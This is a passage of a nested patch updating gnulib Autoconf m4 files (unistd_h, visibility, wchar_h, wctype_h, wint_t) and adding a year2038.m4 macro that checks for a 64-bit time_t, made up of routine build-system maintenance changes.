++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYMLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TRUNCATE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TTYNAME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_SIGPIPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLINKAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_USLEEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WRITE])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ACCESS], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CHDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CLOSE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_DUP2], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECL], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECLP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECV], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_EXECVPE], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETCWD], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETPID], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ISATTY], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_LSEEK], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_READ], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_RMDIR], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_SWAB], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_UNLINK], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WRITE], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_UNISTD_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_UNISTD_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_UNISTD_H_DEFAULTS],
+ [
+- GNULIB_ACCESS=0; AC_SUBST([GNULIB_ACCESS])
+- GNULIB_CHDIR=0; AC_SUBST([GNULIB_CHDIR])
+- GNULIB_CHOWN=0; AC_SUBST([GNULIB_CHOWN])
+- GNULIB_CLOSE=0; AC_SUBST([GNULIB_CLOSE])
+- GNULIB_COPY_FILE_RANGE=0; AC_SUBST([GNULIB_COPY_FILE_RANGE])
+- GNULIB_DUP=0; AC_SUBST([GNULIB_DUP])
+- GNULIB_DUP2=0; AC_SUBST([GNULIB_DUP2])
+- GNULIB_DUP3=0; AC_SUBST([GNULIB_DUP3])
+- GNULIB_ENVIRON=0; AC_SUBST([GNULIB_ENVIRON])
+- GNULIB_EUIDACCESS=0; AC_SUBST([GNULIB_EUIDACCESS])
+- GNULIB_EXECL=0; AC_SUBST([GNULIB_EXECL])
+- GNULIB_EXECLE=0; AC_SUBST([GNULIB_EXECLE])
+- GNULIB_EXECLP=0; AC_SUBST([GNULIB_EXECLP])
+- GNULIB_EXECV=0; AC_SUBST([GNULIB_EXECV])
+- GNULIB_EXECVE=0; AC_SUBST([GNULIB_EXECVE])
+- GNULIB_EXECVP=0; AC_SUBST([GNULIB_EXECVP])
+- GNULIB_EXECVPE=0; AC_SUBST([GNULIB_EXECVPE])
+- GNULIB_FACCESSAT=0; AC_SUBST([GNULIB_FACCESSAT])
+- GNULIB_FCHDIR=0; AC_SUBST([GNULIB_FCHDIR])
+- GNULIB_FCHOWNAT=0; AC_SUBST([GNULIB_FCHOWNAT])
+- GNULIB_FDATASYNC=0; AC_SUBST([GNULIB_FDATASYNC])
+- GNULIB_FSYNC=0; AC_SUBST([GNULIB_FSYNC])
+- GNULIB_FTRUNCATE=0; AC_SUBST([GNULIB_FTRUNCATE])
+- GNULIB_GETCWD=0; AC_SUBST([GNULIB_GETCWD])
+- GNULIB_GETDOMAINNAME=0; AC_SUBST([GNULIB_GETDOMAINNAME])
+- GNULIB_GETDTABLESIZE=0; AC_SUBST([GNULIB_GETDTABLESIZE])
+- GNULIB_GETENTROPY=0; AC_SUBST([GNULIB_GETENTROPY])
+- GNULIB_GETGROUPS=0; AC_SUBST([GNULIB_GETGROUPS])
+- GNULIB_GETHOSTNAME=0; AC_SUBST([GNULIB_GETHOSTNAME])
+- GNULIB_GETLOGIN=0; AC_SUBST([GNULIB_GETLOGIN])
+- GNULIB_GETLOGIN_R=0; AC_SUBST([GNULIB_GETLOGIN_R])
+- GNULIB_GETOPT_POSIX=0; AC_SUBST([GNULIB_GETOPT_POSIX])
+- GNULIB_GETPAGESIZE=0; AC_SUBST([GNULIB_GETPAGESIZE])
+- GNULIB_GETPASS=0; AC_SUBST([GNULIB_GETPASS])
+- GNULIB_GETUSERSHELL=0; AC_SUBST([GNULIB_GETUSERSHELL])
+- GNULIB_GROUP_MEMBER=0; AC_SUBST([GNULIB_GROUP_MEMBER])
+- GNULIB_ISATTY=0; AC_SUBST([GNULIB_ISATTY])
+- GNULIB_LCHOWN=0; AC_SUBST([GNULIB_LCHOWN])
+- GNULIB_LINK=0; AC_SUBST([GNULIB_LINK])
+- GNULIB_LINKAT=0; AC_SUBST([GNULIB_LINKAT])
+- GNULIB_LSEEK=0; AC_SUBST([GNULIB_LSEEK])
+- GNULIB_PIPE=0; AC_SUBST([GNULIB_PIPE])
+- GNULIB_PIPE2=0; AC_SUBST([GNULIB_PIPE2])
+- GNULIB_PREAD=0; AC_SUBST([GNULIB_PREAD])
+- GNULIB_PWRITE=0; AC_SUBST([GNULIB_PWRITE])
+- GNULIB_READ=0; AC_SUBST([GNULIB_READ])
+- GNULIB_READLINK=0; AC_SUBST([GNULIB_READLINK])
+- GNULIB_READLINKAT=0; AC_SUBST([GNULIB_READLINKAT])
+- GNULIB_RMDIR=0; AC_SUBST([GNULIB_RMDIR])
+- GNULIB_SETHOSTNAME=0; AC_SUBST([GNULIB_SETHOSTNAME])
+- GNULIB_SLEEP=0; AC_SUBST([GNULIB_SLEEP])
+- GNULIB_SYMLINK=0; AC_SUBST([GNULIB_SYMLINK])
+- GNULIB_SYMLINKAT=0; AC_SUBST([GNULIB_SYMLINKAT])
+- GNULIB_TRUNCATE=0; AC_SUBST([GNULIB_TRUNCATE])
+- GNULIB_TTYNAME_R=0; AC_SUBST([GNULIB_TTYNAME_R])
+- GNULIB_UNISTD_H_NONBLOCKING=0; AC_SUBST([GNULIB_UNISTD_H_NONBLOCKING])
+- GNULIB_UNISTD_H_SIGPIPE=0; AC_SUBST([GNULIB_UNISTD_H_SIGPIPE])
+- GNULIB_UNLINK=0; AC_SUBST([GNULIB_UNLINK])
+- GNULIB_UNLINKAT=0; AC_SUBST([GNULIB_UNLINKAT])
+- GNULIB_USLEEP=0; AC_SUBST([GNULIB_USLEEP])
+- GNULIB_WRITE=0; AC_SUBST([GNULIB_WRITE])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_ACCESS=1; AC_SUBST([GNULIB_MDA_ACCESS])
+- GNULIB_MDA_CHDIR=1; AC_SUBST([GNULIB_MDA_CHDIR])
+- GNULIB_MDA_CLOSE=1; AC_SUBST([GNULIB_MDA_CLOSE])
+- GNULIB_MDA_DUP=1; AC_SUBST([GNULIB_MDA_DUP])
+- GNULIB_MDA_DUP2=1; AC_SUBST([GNULIB_MDA_DUP2])
+- GNULIB_MDA_EXECL=1; AC_SUBST([GNULIB_MDA_EXECL])
+- GNULIB_MDA_EXECLE=1; AC_SUBST([GNULIB_MDA_EXECLE])
+- GNULIB_MDA_EXECLP=1; AC_SUBST([GNULIB_MDA_EXECLP])
+- GNULIB_MDA_EXECV=1; AC_SUBST([GNULIB_MDA_EXECV])
+- GNULIB_MDA_EXECVE=1; AC_SUBST([GNULIB_MDA_EXECVE])
+- GNULIB_MDA_EXECVP=1; AC_SUBST([GNULIB_MDA_EXECVP])
+- GNULIB_MDA_EXECVPE=1; AC_SUBST([GNULIB_MDA_EXECVPE])
+- GNULIB_MDA_GETCWD=1; AC_SUBST([GNULIB_MDA_GETCWD])
+- GNULIB_MDA_GETPID=1; AC_SUBST([GNULIB_MDA_GETPID])
+- GNULIB_MDA_ISATTY=1; AC_SUBST([GNULIB_MDA_ISATTY])
+- GNULIB_MDA_LSEEK=1; AC_SUBST([GNULIB_MDA_LSEEK])
+- GNULIB_MDA_READ=1; AC_SUBST([GNULIB_MDA_READ])
+- GNULIB_MDA_RMDIR=1; AC_SUBST([GNULIB_MDA_RMDIR])
+- GNULIB_MDA_SWAB=1; AC_SUBST([GNULIB_MDA_SWAB])
+- GNULIB_MDA_UNLINK=1; AC_SUBST([GNULIB_MDA_UNLINK])
+- GNULIB_MDA_WRITE=1; AC_SUBST([GNULIB_MDA_WRITE])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_CHOWN=1; AC_SUBST([HAVE_CHOWN])
+ HAVE_COPY_FILE_RANGE=1; AC_SUBST([HAVE_COPY_FILE_RANGE])
+--- a/gnulib/m4/visibility.m4
++++ b/gnulib/m4/visibility.m4
+@@ -1,4 +1,4 @@
+-# visibility.m4 serial 7
++# visibility.m4 serial 8
+ dnl Copyright (C) 2005, 2008, 2010-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -59,6 +59,10 @@ AC_DEFUN([gl_VISIBILITY],
+ extern __attribute__((__visibility__("hidden"))) int hiddenfunc (void);
+ extern __attribute__((__visibility__("default"))) int exportedfunc (void);
+ void dummyfunc (void);
++ int hiddenvar;
++ int exportedvar;
++ int hiddenfunc (void) { return 51; }
++ int exportedfunc (void) { return 1225736919; }
+ void dummyfunc (void) {}
+ ]],
+ [[]])],
+--- a/gnulib/m4/wchar_h.m4
++++ b/gnulib/m4/wchar_h.m4
+@@ -7,9 +7,9 @@ dnl with or without modifications, as lo
+
+ dnl Written by Eric Blake.
+
+-# wchar_h.m4 serial 50
++# wchar_h.m4 serial 53
+
+-AC_DEFUN([gl_WCHAR_H],
++AC_DEFUN_ONCE([gl_WCHAR_H],
+ [
+ AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
+ AC_REQUIRE([gl_WCHAR_H_INLINE_OK])
+@@ -125,60 +125,75 @@ Configuration aborted.])
+ fi
+ ])
+
++# gl_WCHAR_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_WCHAR_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_WCHAR_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_WCHAR_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_BTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOB])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSINIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBRLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRTOWCS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNRTOWCS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCRTOMB])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRTOMBS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNRTOMBS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCWIDTH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMMOVE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMSET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSXFRM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSTOK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSWIDTH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSFTIME])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WCSDUP], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_WCHAR_H_DEFAULTS],
+ [
+- GNULIB_BTOWC=0; AC_SUBST([GNULIB_BTOWC])
+- GNULIB_WCTOB=0; AC_SUBST([GNULIB_WCTOB])
+- GNULIB_MBSINIT=0; AC_SUBST([GNULIB_MBSINIT])
+- GNULIB_MBRTOWC=0; AC_SUBST([GNULIB_MBRTOWC])
+- GNULIB_MBRLEN=0; AC_SUBST([GNULIB_MBRLEN])
+- GNULIB_MBSRTOWCS=0; AC_SUBST([GNULIB_MBSRTOWCS])
+- GNULIB_MBSNRTOWCS=0; AC_SUBST([GNULIB_MBSNRTOWCS])
+- GNULIB_WCRTOMB=0; AC_SUBST([GNULIB_WCRTOMB])
+- GNULIB_WCSRTOMBS=0; AC_SUBST([GNULIB_WCSRTOMBS])
+- GNULIB_WCSNRTOMBS=0; AC_SUBST([GNULIB_WCSNRTOMBS])
+- GNULIB_WCWIDTH=0; AC_SUBST([GNULIB_WCWIDTH])
+- GNULIB_WMEMCHR=0; AC_SUBST([GNULIB_WMEMCHR])
+- GNULIB_WMEMCMP=0; AC_SUBST([GNULIB_WMEMCMP])
+- GNULIB_WMEMCPY=0; AC_SUBST([GNULIB_WMEMCPY])
+- GNULIB_WMEMMOVE=0; AC_SUBST([GNULIB_WMEMMOVE])
+- GNULIB_WMEMPCPY=0; AC_SUBST([GNULIB_WMEMPCPY])
+- GNULIB_WMEMSET=0; AC_SUBST([GNULIB_WMEMSET])
+- GNULIB_WCSLEN=0; AC_SUBST([GNULIB_WCSLEN])
+- GNULIB_WCSNLEN=0; AC_SUBST([GNULIB_WCSNLEN])
+- GNULIB_WCSCPY=0; AC_SUBST([GNULIB_WCSCPY])
+- GNULIB_WCPCPY=0; AC_SUBST([GNULIB_WCPCPY])
+- GNULIB_WCSNCPY=0; AC_SUBST([GNULIB_WCSNCPY])
+- GNULIB_WCPNCPY=0; AC_SUBST([GNULIB_WCPNCPY])
+- GNULIB_WCSCAT=0; AC_SUBST([GNULIB_WCSCAT])
+- GNULIB_WCSNCAT=0; AC_SUBST([GNULIB_WCSNCAT])
+- GNULIB_WCSCMP=0; AC_SUBST([GNULIB_WCSCMP])
+- GNULIB_WCSNCMP=0; AC_SUBST([GNULIB_WCSNCMP])
+- GNULIB_WCSCASECMP=0; AC_SUBST([GNULIB_WCSCASECMP])
+- GNULIB_WCSNCASECMP=0; AC_SUBST([GNULIB_WCSNCASECMP])
+- GNULIB_WCSCOLL=0; AC_SUBST([GNULIB_WCSCOLL])
+- GNULIB_WCSXFRM=0; AC_SUBST([GNULIB_WCSXFRM])
+- GNULIB_WCSDUP=0; AC_SUBST([GNULIB_WCSDUP])
+- GNULIB_WCSCHR=0; AC_SUBST([GNULIB_WCSCHR])
+- GNULIB_WCSRCHR=0; AC_SUBST([GNULIB_WCSRCHR])
+- GNULIB_WCSCSPN=0; AC_SUBST([GNULIB_WCSCSPN])
+- GNULIB_WCSSPN=0; AC_SUBST([GNULIB_WCSSPN])
+- GNULIB_WCSPBRK=0; AC_SUBST([GNULIB_WCSPBRK])
+- GNULIB_WCSSTR=0; AC_SUBST([GNULIB_WCSSTR])
+- GNULIB_WCSTOK=0; AC_SUBST([GNULIB_WCSTOK])
+- GNULIB_WCSWIDTH=0; AC_SUBST([GNULIB_WCSWIDTH])
+- GNULIB_WCSFTIME=0; AC_SUBST([GNULIB_WCSFTIME])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_WCSDUP=1; AC_SUBST([GNULIB_MDA_WCSDUP])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_BTOWC=1; AC_SUBST([HAVE_BTOWC])
+ HAVE_MBSINIT=1; AC_SUBST([HAVE_MBSINIT])
+--- a/gnulib/m4/wctype_h.m4
++++ b/gnulib/m4/wctype_h.m4
+@@ -1,4 +1,4 @@
+-# wctype_h.m4 serial 26
++# wctype_h.m4 serial 30
+
+ dnl A placeholder for ISO C99 <wctype.h>, for platforms that lack it.
+
+@@ -9,7 +9,7 @@ dnl with or without modifications, as lo
+
+ dnl Written by Paul Eggert.
+
+-AC_DEFUN([gl_WCTYPE_H],
++AC_DEFUN_ONCE([gl_WCTYPE_H],
+ [
+ AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
+ AC_REQUIRE([AC_PROG_CC])
+@@ -62,7 +62,7 @@ AC_DEFUN([gl_WCTYPE_H],
+ fi
+ AC_SUBST([HAVE_WCTYPE_H])
+
+- if test $GNULIB_OVERRIDES_WINT_T = 1; then
++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then
+ REPLACE_ISWCNTRL=1
+ else
+ case "$gl_cv_func_iswcntrl_works" in
+@@ -157,24 +157,39 @@ AC_DEFUN([gl_WCTYPE_H],
+ ])
+ ])
+
++# gl_WCTYPE_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_WCTYPE_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_WCTYPE_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_WCTYPE_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWBLANK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWDIGIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWXDIGIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTYPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWCTYPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTRANS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TOWCTRANS])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_WCTYPE_H_DEFAULTS],
+ [
+- GNULIB_ISWBLANK=0; AC_SUBST([GNULIB_ISWBLANK])
+- GNULIB_ISWDIGIT=0; AC_SUBST([GNULIB_ISWDIGIT])
+- GNULIB_ISWXDIGIT=0; AC_SUBST([GNULIB_ISWXDIGIT])
+- GNULIB_WCTYPE=0; AC_SUBST([GNULIB_WCTYPE])
+- GNULIB_ISWCTYPE=0; AC_SUBST([GNULIB_ISWCTYPE])
+- GNULIB_WCTRANS=0; AC_SUBST([GNULIB_WCTRANS])
+- GNULIB_TOWCTRANS=0; AC_SUBST([GNULIB_TOWCTRANS])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_ISWBLANK=1; AC_SUBST([HAVE_ISWBLANK])
+ HAVE_WCTYPE_T=1; AC_SUBST([HAVE_WCTYPE_T])
+--- a/gnulib/m4/wint_t.m4
++++ b/gnulib/m4/wint_t.m4
+@@ -1,4 +1,4 @@
+-# wint_t.m4 serial 10
++# wint_t.m4 serial 11
+ dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -34,14 +34,14 @@ AC_DEFUN([gt_TYPE_WINT_T],
+ [gl_cv_type_wint_t_large_enough=yes],
+ [gl_cv_type_wint_t_large_enough=no])])
+ if test $gl_cv_type_wint_t_large_enough = no; then
+- GNULIB_OVERRIDES_WINT_T=1
++ GNULIBHEADERS_OVERRIDE_WINT_T=1
+ else
+- GNULIB_OVERRIDES_WINT_T=0
++ GNULIBHEADERS_OVERRIDE_WINT_T=0
+ fi
+ else
+- GNULIB_OVERRIDES_WINT_T=0
++ GNULIBHEADERS_OVERRIDE_WINT_T=0
+ fi
+- AC_SUBST([GNULIB_OVERRIDES_WINT_T])
++ AC_SUBST([GNULIBHEADERS_OVERRIDE_WINT_T])
+ ])
+
+ dnl Prerequisites of the 'wint_t' override.
+--- /dev/null
++++ b/gnulib/m4/year2038.m4
+@@ -0,0 +1,112 @@
++# year2038.m4 serial 5
++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++dnl Attempt to ensure that 'time_t' is a 64-bit type
++dnl and that the functions time(), stat(), etc. return 64-bit times.
++
++AC_DEFUN([gl_YEAR2038_EARLY],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST])
++ case "$host_os" in
++ mingw*)
++ AC_DEFINE([__MINGW_USE_VC2005_COMPAT], [1],
++ [For 64-bit time_t on 32-bit mingw.])
++ ;;
++ esac
++])
++
++# gl_YEAR2038_TEST_INCLUDES
++# -------------------------
++AC_DEFUN([gl_YEAR2038_TEST_INCLUDES],
++[[
++ #include <time.h>
++ /* Check that time_t can represent 2**63 - 1 correctly.
++ We can't simply define LARGE_TIME_T to be 9223372036854775807,
++ since some C++ compilers masquerading as C compilers
++ incorrectly reject 9223372036854775807. */
++ #define LARGE_TIME_T (((time_t) 1 << 31 << 31) - 1 + ((time_t) 1 << 31 << 31))
++ int verify_time_t_range[(LARGE_TIME_T % 2147483629 == 721
++ && LARGE_TIME_T % 2147483647 == 1)
++ ? 1 : -1];
++]])
++
++# gl_YEAR2038_BODY(REQUIRE-64-BIT)
++----------------------------------
++AC_DEFUN([gl_YEAR2038_BODY],
++[
++ AC_ARG_ENABLE([year2038],
++ [ --disable-year2038 omit support for timestamps past the year 2038])
++ AS_IF([test "$enable_year2038" != no],
++ [
++ dnl On many systems, time_t is already a 64-bit type.
++ dnl On those systems where time_t is still 32-bit, it requires kernel
++ dnl and libc support to make it 64-bit. For glibc 2.34 and later on Linux,
++ dnl defining _TIME_BITS=64 and _FILE_OFFSET_BITS=64 is needed on x86 and ARM.
++ dnl
++ dnl On native Windows, the system include files define types __time32_t
++ dnl and __time64_t. By default, time_t is an alias of
++ dnl - __time32_t on 32-bit mingw,
++ dnl - __time64_t on 64-bit mingw and on MSVC (since MSVC 8).
++ dnl But when compiling with -D__MINGW_USE_VC2005_COMPAT, time_t is an
++ dnl alias of __time64_t.
++ dnl And when compiling with -D_USE_32BIT_TIME_T, time_t is an alias of
++ dnl __time32_t.
++ AC_CACHE_CHECK([for 64-bit time_t], [gl_cv_type_time_t_64],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE([gl_YEAR2038_TEST_INCLUDES])],
++ [gl_cv_type_time_t_64=yes], [gl_cv_type_time_t_64=no])
++ ])
++ if test "$gl_cv_type_time_t_64" = no; then
++ AC_CACHE_CHECK([for 64-bit time_t with _TIME_BITS=64],
++ [gl_cv_type_time_t_bits_macro],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE([[#define _TIME_BITS 64
++ #define _FILE_OFFSET_BITS 64
++ ]gl_YEAR2038_TEST_INCLUDES])],
++ [gl_cv_type_time_t_bits_macro=yes],
++ [gl_cv_type_time_t_bits_macro=no])
++ ])
++ if test "$gl_cv_type_time_t_bits_macro" = yes; then
++ AC_DEFINE([_TIME_BITS], [64],
++ [Number of bits in a timestamp, on hosts where this is settable.])
++ dnl AC_SYS_LARGFILE also defines this; it's OK if we do too.
++ AC_DEFINE([_FILE_OFFSET_BITS], [64],
++ [Number of bits in a file offset, on hosts where this is settable.])
++ gl_cv_type_time_t_64=yes
++ fi
++ fi
++ if test $gl_cv_type_time_t_64 = no; then
++ AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE(
++ [[#ifdef _USE_32BIT_TIME_T
++ int ok;
++ #else
++ error fail
++ #endif
++ ]])],
++ [AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type. Remove _USE_32BIT_TIME_T from the compiler flags.])],
++ [# If not cross-compiling and $1 says we should check,
++ # and 'touch' works with a large timestamp, then evidently 64-bit time_t
++ # is desired and supported, so fail and ask the builder to fix the
++ # problem. Otherwise, just warn the builder.
++ m4_ifval([$1],
++ [if test $cross_compiling = no \
++ && TZ=UTC0 touch -t 210602070628.16 conftest.time 2>/dev/null; then
++ rm -f conftest.time
++ AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type, which your system appears to support. You might try configuring with 'CPPFLAGS="-m64" LDFLAGS="-m64"'. To build with a 32-bit time_t anyway (not recommended), configure with '--disable-year2038'.])
++ fi])
++ if test "$gl_warned_about_64_bit_time_t" != yes; then
++ AC_MSG_WARN([This package requires a 64-bit 'time_t' type if there is any way to access timestamps outside the year range 1901-2038 on your platform. Perhaps you should configure with 'CPPFLAGS="-m64" LDFLAGS="-m64"'?])
++ gl_warned_about_64_bit_time_t=yes
++ fi
++ ])
++ fi])
++])
++
++AC_DEFUN([gl_YEAR2038],
++[
